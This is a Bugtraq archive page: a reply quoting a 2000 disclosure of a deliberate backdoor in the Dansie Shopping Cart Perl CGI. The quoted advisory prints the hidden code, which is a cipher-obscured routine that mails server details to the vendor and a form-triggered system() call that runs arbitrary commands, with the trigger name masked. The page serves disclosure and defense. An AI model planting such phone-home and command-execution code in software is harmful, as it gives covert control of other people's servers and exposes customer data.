Bugtraq mailing list archives
Re: Back Door in Commercial Shopping Cart
From: luciano () MOS COM AR (Luciano Ramos)
Date: Thu, 13 Apr 2000 09:58:57 -0300
I have purchased dansie's shooping cart I have been using it .. for a while.. The version of the cart I am currently using is 2.84, this version has the there,there2,there3 functions and the mail sending is in the code.. but as of 2.84... the system("FORM(xxxxxx)") is not implemented,, A couple of months ago.. people at dansie sent me the upgrade of the cart it was version.3.03 this versions does have the system call, I've already sent a mail to dansie to see what he says ... Thanks .. Luciano Ramos luciano () mos com ar ----- Original Message ----- From: Joe <joe () blarg net> To: <BUGTRAQ () SECURITYFOCUS COM> Sent: Tuesday, April 11, 2000 9:24 PM Subject: Back Door in Commercial Shopping Cart
Trojanized Commercial Shopping Cart =============================================================== Dansie Shopping Cart Version : 3.04 (presumably earlier versions as well) Author : Craig Dansie URL : http://www.dansie.net/ Language : Perl (both NT and Unix platforms are vulnerable) License : Commercial, starting at $150.00 Copyright Dec 10, 1997-2000, Dansie Website Design Synopsis : This program -deliberately- allows arbitrary commands to be executed on the victim server. One of our clients, while installing and configuring the Dansie Shopping Cart, ran into difficulty integrating PGP, the shopping cart program, and our secure server setup. While trying to assist our client with the cart and PGP configuration we discovered a couple of things. The CGI, under certain conditions, sends an email to the author of the Dansie shopping cart software, 'tech () dansie net'. This is not readily apparent as the code that handles this transaction incorporates a simple Caesar Cipher to hide the email address. The cipher is handled via the subroutine 'there2': ------ sub there2 { $_ = "$_[0]"; tr/a-z0-9/gvibn9wprud2lmx8z3fa4eq15oy06sjc7kth/; tr/_/-/; tr/\@/\./; return $_; } ------- The call that creates this email address and sends the mail is the function 'there3'. ------- sub there3 { if (($ENV{'OS'} !~ /Windows_NT/i) && ($mailprog) && (-e "$mailprog")) { $a = &there2('8v59')."\@".&there2('kte3cv').".".&there2('ev8'); $b = &there2('8v59_3jhhzi8'); pop(@there2); pop(@there2); $c = &there2("@there2"); open (TECH, "|$mailprog $a"); print TECH "To: $a\n"; print TECH "From: $a\n"; print TECH "Subject: $b\n\n"; print TECH "$path3\n"; print TECH "$ENV{'HTTP_HOST'} $ENV{'SERVER_NAME'}\n"; print TECH "$c\n"; print TECH "$e $there\n" if ($e); close (TECH); } } ------- The ciphered strings, when passed through 'there2', result in: 8v59 == tech kte3cv == dansie ev8 == net 8v59_3jhhzi8 == tech-support $a == tech () dansie net $b == Subject: tech-support This seems curious, but plausible reasons could include insuring License compliance, or maybe the cart automatically sends this email when an error occurs. The program definitely goes out of its way to hide the fact that
the
mail is being sent. While going through the rest of the code we discovered a much more interesting item. (We've masked out the actual trigger element with question marks) ---------- if ( ( ( $FORM{'?????????'}) && ($ENV{'HTTP_HOST'} !~ /($d)/) ) ||
($FORM{'?????????'} ) && (!$d) ) )
{ if ( $ENV{'OS'} ) { system("$FORM{'?????????'}"); } else { open(ELIF,"|$FORM{'?????????'}"); } exit; } --------- The form element '?????????', which was originally a pseudo-random
appearing
nine digit string of letters and numbers, allows an intruder to execute
any
command on the server with the same privileges as the CGI process itself. Although this is a full disclosure list, the trigger element is obscured
to
prevent the script kiddies from running away with this back door. If you own the cart, then you have access to the source code and can discover the element in question easily enough on your own. Further searches through the code reveal that this form element is immune to data validation - it gets passed into this code fragment unchallenged. The '$d' variable of the condition which permits the back door to function is set elsewhere in the program to contain the string 'dansie'. (Again, using the ciphertext algorithm) This indicates that the form element won't work on Dansie's own host, but will work on anyone elses. There are additional problems with the 'there' function but we'll leave them as exercises for the reader to decipher. Dansie.net, armed with the server name and URL to the CGI executable provided by the cloaked email routine, would be able to run commands on
any
web server on the Internet that has the Dansie Shopping Cart installed. It takes little imagination to dream up the potential havoc and privacy violations this level of access could result in; from stealing private customer records to a full-blown crack of an E-Commerce server. When checking to see if this was a known issue, the following post from "Kasey Johns" <kasey at corridor dot net>, made a little over a week ago, was discovered in alt.comp.perlcgi.freelance: http://www.deja.com/getdoc.xp?AN=601644315 Follow-up article: http://www.deja.com/getdoc.xp?AN=601857849 We won't quote Kasey's posts here, in brief, Kasey also discovered the
back
door and cloaked email routines. Kasey also provides evidence in the post
to
indicate that not only is Dansie well aware of the back door routine, but may be actively attempting to utilize it. Based upon our own investigation, the information Kasey posted, and our
own
firewall logs (see below), it is our opinion that the back door within Dansie.net's shopping cart can best be summarized as follows: 1. The back door is very deliberate. 2. It isn't unique to the one copy we have access to here. 3. *Is being actively utilized by the author of the CGI. * Based upon the log snippet in Kasey's post showing attempted access to the CGI from an Earthlink dial-up IP. (209.179.141.0/24). According to Kasey, access to the CGI was attempted less than 30 minutes after the cart was installed. When we noticed the attempted usage of Kasey's server, a quick check of
our
own firewall logs revealed the following: Packet log: input REJECT eth0 PROTO=6 209.179.141.xx:1054 x.x.x.x:80 {repeated several dozen times} We can only assume these attempts, made from the same /24 on Earthlink's dial-ups as the one used to probe Kasey's server, were from the author of the shopping cart. We will not try to hazard a guess as to why Dansie.net felt the need to include a back door within their shopping cart software. Whatever their reasoning may be, it is our opinion that no reason, no matter how well thought out or rationalized, justifies the existence of this back door. No reasoning can possibly explain away a routine that deliberately allows an intruder unrestricted and unauthorized access to any server on the
Internet
that has the Dansie Shopping Cart installed. -- Joe Technical Support General Support: support () blarg net Blarg! Online Services, Inc. Voice: 425/401-9821 or 888/66-BLARG http://www.blarg.net
Current thread:
- Back Door in Commercial Shopping Cart Joe (Apr 11)
- Performance Copilot for IRIX 6.5 Marcelo Magnasco (Apr 12)
- Microsoft Security Bulletin (MS00-024) Microsoft Product Security (Apr 12)
- Re: Back Door in Commercial Shopping Cart Luciano Ramos (Apr 13)
- [TL-Security-Announce] PAM and usermode TLSA2000009-1 Katie Moussouris (Apr 14)
- Re: Back Door in Commercial Shopping Cart Luciano Ramos (Apr 14)
- Re: Back Door in Commercial Shopping Cart [Stormer Hosting] Dan Kaminsky (Apr 14)
- New DOS on Interscan NT/3.32 Alain Thivillon (Apr 17)
- Re: Back Door in Commercial Shopping Cart [RESOLVED] Dan Kaminsky (Apr 17)
- Re: Back Door in Commercial Shopping Cart Pete Holsberg (Apr 13)
- Re: Back Door in Commercial Shopping Cart Anik (Apr 13)
- more problems with that POS dansie cart software! tombow (Apr 14)
- Re: more problems with that POS dansie cart software! Randy Janinda (Apr 14)
- nmh-1.0.4 released Dan Harkless (Apr 14)